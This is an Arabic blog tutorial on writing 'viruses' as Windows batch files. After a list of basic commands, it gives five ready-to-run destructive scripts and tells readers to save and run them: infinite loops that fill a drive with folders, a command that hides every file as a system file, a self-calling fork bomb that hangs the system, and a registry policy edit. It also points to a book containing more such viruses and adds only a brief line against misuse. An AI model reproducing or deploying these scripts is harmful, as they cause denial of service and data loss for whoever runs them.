تعلم صناعة الفيروسات بواسطة برمجة الملفات الدفعية

صناعة الفيروسات تتم بواسطة اي لغة برمجة ولكل لغة امكانياتها الخاصة ، ولكن اليوم سنتكلم عن صناعة الفيروسات بواسطة برمجة الملفات الدفعية Batch Files programming وهي عبارة عن ملف بإمتداد bat يحتوي على اوامر تتنفذ بشكل مباشر بواسطة نظام التشغيل ويندوز بمجرد فتحها
وقت القراءة المقدر: 2 دقائق
تعلم صناعة الفيروسات بواسطة برمجة الملفات الدفعية
صناعة الفيروسات تتم بواسطة اي لغة برمجة ولكل لغة امكانياتها الخاصة ، ولكن اليوم سنتكلم عن صناعة الفيروسات بواسطة برمجة الملفات الدفعية Batch Files programming وهي عبارة عن ملف بإمتداد bat يحتوي على اوامر تتنفذ بشكل مباشر بواسطة نظام التشغيل ويندوز بمجرد فتحها ، نحتاج للعمل فقط برنامج المفكرة وذاكرة خارجية لتجربة الامثلة هنا K ممكن تغييرها الى رمز الذاكرة في جهازك ، هذه بعض الاوامر الهامة التي سنستخدمها :
rmdir لحذف المجلدات
copy لنسخ ملف
move لقص الملف (نقل الملف)
del لحذف الملفات
mkdir لانشاء مجلد جديد
ren اعادة تسمية الملفات والمجلدات
/cd للانتقال الى اعلى مجلد (المجلد الرئيسي)
cd main للانتقال الى المجلد main
cd .. للرجوع الى الخلف
start notepad لفتح برنامج المفكرة يمكنك فتح اي برنامج بواسطة الامر start
@echo on لطباعة النتائج بينما off لعدم الطباعة
attrib للتحكم بخصائص الملفات والمجلدات

والان سنكتب العديد من الفايروسات كأمثلة للتوضيح وبعد ذلك سنعطيكم كتاب يحتوي على شرح مفصل لهذا الموضوع لمن يريد التوسع ، لتجريب الامثلة افتح برنامج المفكرة ولصقت الكود وحفظته بامتداد bat
@echo on لطباعة النتائج بينما off لعدم الطباعةاقرأ ايضاًبحث في امن المعلومات و التهديدات الأمنية والهجمات الالكترونية والحماية منها؟  

المثال الاول : فيروس يقوم بإنشاء مجلد باسم virus وينشئ داخله مجلد اخر بنفس الاسم وهكذا بواسطة دوارة لانهائية حتى يمتلئ القرص ويعلق الجهاز:
حيث K رمز القرص ممكن تغيره والكلمة loop ممكن تغيرها اي كلمة و الكلمة المفتاحية goto للانتقال الى جزء معين من الكود الى loop لعمل دوارة كما هو موضح في التالي :

@echo off
K:
:loop
md Virus
cd Virus
goto loop
المثال الثاني : فيروس يقوم بإخفاء جميع الملفات وجعلها ملفات نظام داخل القرص ويمكن تستخدم ذاكرة خارجية لتجربة ذلك :

@echo off
k:
attrib /s /d +s +h +r
المثال الثالث : فيروس يقوم بملئ القرص بمجلدات بأسماء عشوائية :

@echo off
k:
:rand
mkdir %random%
goto rand
المثال الرابع : فيروس يقوم بفتح نوافذ بشكل متتالي حتى يعلق النظام:
قم بانشاء بفتح ملف المفكرة ولصق الكود وحفظت الملف باسم fork.bat

@echo off
:loop
Explorer
Call fork.bat
Goto loop
المثال الخامس : فيروس لاعادة ضبط الرجيستري ولكن انصح بعدم تجريبة لانه سوف يطفي الجهاز ويخرب النظام وتحتاج لفرمتته:

@echo off
reg add 
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v 
NoClose /t REG_DWORD /d 1 /f
exit

اقرأ ايضا:
اهم الأدوات على نظام كالي لينكس لإختبار إختراق مواقع الويب
افضل 8 ادوات لاختبار اختراق الشبكات اللاسلكية واي فاي على الكالي لينكس
اهم لغات البرمجة المستخدمة في الهكر
ثغرات File Include وكيف يتم استغلالها وكيف تحمي موقعك منها
ثغرات XSS وكيفية استغلالها وكيف تحمي نفسك منها

الى هنا انتهى الدرس ولكن سأعطيكم كتاب رائع لبرمجة الملفات الدفعية ويحتوي على العديد من الفيروسات لتحميل الكتاب من او للبحث في جوجل هذا اسم الكتاب ومؤلفه Batch File Programming by Premkumar. S
ملاحظة: لاتستخدمها بشكل خاطئ للاضرار بالاخرين .

4 تعليقات

  1. جعله الله في ميزان حسناتك
    1. الجميع ان شاءالله
  2. الله يبيض وجهك
    مقال مرتب
  3. اخي باي لغه برمجه مبرمج هاذه الاكواد
يسعدنا تفاعلكم بالتعليق، لكن يرجى مراعاة الشروط التالية لضمان نشر التعليق.
1 -أ ن يكون التعليق خاص بمحتوى التدوينة !
2 - أن لا تضع أي روابط خارجية!
3 - أي سؤال خارج محتوى التدوينة يتم حذفه !
4 - لإضافة كود برمجي حوله أولاً بمحول الأكواد.
5 - لضمان نشر تعليقك يلزمك مراجعة اتفاقية الإستخدام.
موافقة ملفات تعريف الارتباط
نحن نقدم ملفات تعريف الارتباط على هذا الموقع لتحليل حركة المرور وتذكر تفضيلاتك وتحسين تجربتك.